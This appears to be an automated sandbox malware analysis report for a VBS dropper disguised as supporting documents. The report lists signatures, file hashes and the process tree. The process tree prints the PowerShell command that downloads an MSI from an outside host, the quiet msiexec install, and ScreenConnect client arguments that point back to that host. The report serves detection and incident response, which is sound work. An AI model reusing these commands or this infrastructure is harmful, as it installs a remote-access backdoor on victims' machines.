Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 06:11

General

  • Target
    RSK Adv Grp Supporting documents.vbs
  • Size 922B
  • Sample260707-gxramsa19s
  • SHA256 35be1b070f06eb313c3cb818c74aa0a9c2d9f39a05621dac4de6cff6067a5d12
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://crestmarkhq.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RSK Adv Grp Supporting documents.vbs"
    1⤵
      PID:5788
    • C:\Windows\system32\cmd.exe
      cmd /c if not exist C:\temp mkdir C:\temp
      1⤵
      • Process spawned unexpected child process
      PID:3680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://crestmarkhq.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\temp\installer.msi')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3920
    • C:\Windows\system32\msiexec.exe
      msiexec /i C:\temp\installer.msi /quiet /norestart
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:480
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6032
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 414F5D8F98F6D58D82D6E352FB417A47
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3968
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI82D2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240747500 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3088
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1D5896E48D84FEF914AE8F6C234993C2 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:964
    • C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=crestmarkhq.com&p=8041&s=ee8b2b6a-a6c5-4f26-afa5-19349a619101&k=BgIAAACkAABSU0ExAAgAAAEAAQClowpken0dZwYGd%2fG1XMD8ohAqF7FXZEcjKf3QVaOpY5pwIOILwbkHecS7DUfdGbFMn3kRbBBpHmcnQBbWKqRBrWgoZqMXzMIemPdhhcDZVKGLeZFml1EG7M1Uwc40yBVqnA%2bNKI1n5PhOCxGYA82hw%2fKljNghPiqI8U1wZK7P9JTzhouzxQCpiwBIo4Sr2f3dgqkKMDkt8QmTyOgEMfUv1hBP41NZn9hkdNCY2IMpKTzEFFXerPK9%2fQDyMCh%2fAd%2b8N6k1YfxVseYo3BdcEx9hzCGzYqoTNixabnyvPY9a8VyIRHhpJASmSPhos1%2b%2fZTyETDrECqd0hE%2fMErZEMdbL"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:120
      • C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe" "RunRole" "168b3ef2-7809-4501-b00b-14b460cdc070" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:4932
      • C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe" "RunRole" "6e95a196-2c61-4718-8489-69c5ff5c2b3e" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2680

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e597efd.rbs

          • Path C:\Config.Msi\e597efd.rbs
          • Size 214KB
          • SHA256 b38e6483285b55e020e7b66aa0f86371c154abb024a4d02ba5ee43616333c7c0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.Override.en-US.resources
          • Size 251B
          • SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.Override.resources
          • Size 638B
          • SHA256 a0d8068a1349def6c0b3b53732884db52aa338809ae28c099c231182ed301c08
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\app.config
          • Size 1KB
          • SHA256 ca07c7f2555905323ba00a98821bc698f57081dbc186e3f84b7c61e780665b17
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8390290a9fe5df98)\system.config
          • Size 939B
          • SHA256 7aaee2b7d14c7d10a24de85cc2dc9d45bd4ff6d1fda3f16a3ee26d447031e746
          • MD5 SHA1 SHA512 TLSH

          MSI82D2.tmp

          • Path C:\Windows\Installer\MSI82D2.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI82D2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI82D2.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI89AA.tmp

          • Path C:\Windows\Installer\MSI89AA.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          installer.msi

          • Path C:\temp\installer.msi
          • Size 14.5MB
          • SHA256 bc7fef1ea8b2aca2b06e03c71d10c19100a840358fc48ba7733e506bfd4153ce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/120-126-0x0000000004180000-0x0000000004255000-memory.dmp

          memory/120-99-0x0000000003A00000-0x0000000003A8E000-memory.dmp

          memory/120-121-0x0000000003EB0000-0x0000000003EE6000-memory.dmp

          memory/120-122-0x0000000003F90000-0x0000000004022000-memory.dmp

          memory/120-103-0x0000000003C60000-0x0000000003E0C000-memory.dmp

          memory/120-117-0x0000000003E60000-0x0000000003EB0000-memory.dmp

          memory/120-124-0x0000000003EF0000-0x0000000003F31000-memory.dmp

          memory/120-93-0x0000000003950000-0x0000000003968000-memory.dmp

          memory/2680-144-0x00000000027D0000-0x0000000002811000-memory.dmp

          memory/3088-53-0x0000000005E30000-0x0000000005FDC000-memory.dmp

          memory/3088-41-0x0000000003A60000-0x0000000003A8E000-memory.dmp

          memory/3088-45-0x0000000003AB0000-0x0000000003ABA000-memory.dmp

          memory/3088-54-0x00000000065A0000-0x0000000006B5A000-memory.dmp

          memory/3088-49-0x0000000003B50000-0x0000000003BDE000-memory.dmp

          memory/3920-10-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-6-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-11-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-13-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-14-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-15-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-9-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-0-0x00007FFAC300F000-0x00007FFAC3010000-memory.dmp

          memory/3920-16-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-8-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-7-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-12-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-5-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-4-0x000001E2B7B70000-0x000001E2B7B92000-memory.dmp

          memory/3920-3-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/3920-19-0x00007FFAC2E80000-0x00007FFAC3824000-memory.dmp

          memory/4932-136-0x0000000000D00000-0x0000000000D98000-memory.dmp

          memory/4932-138-0x000000001BDB0000-0x000000001BE3E000-memory.dmp

          memory/4932-139-0x000000001BFF0000-0x000000001C19C000-memory.dmp

          memory/4932-140-0x000000001C330000-0x000000001C4B8000-memory.dmp

          memory/4932-141-0x0000000002EB0000-0x0000000002EC8000-memory.dmp

          memory/4932-142-0x0000000002EF0000-0x0000000002F08000-memory.dmp

          memory/4932-137-0x0000000002F20000-0x0000000002F56000-memory.dmp

          memory/6032-145-0x00000236D80C0000-0x00000236D8A64000-memory.dmp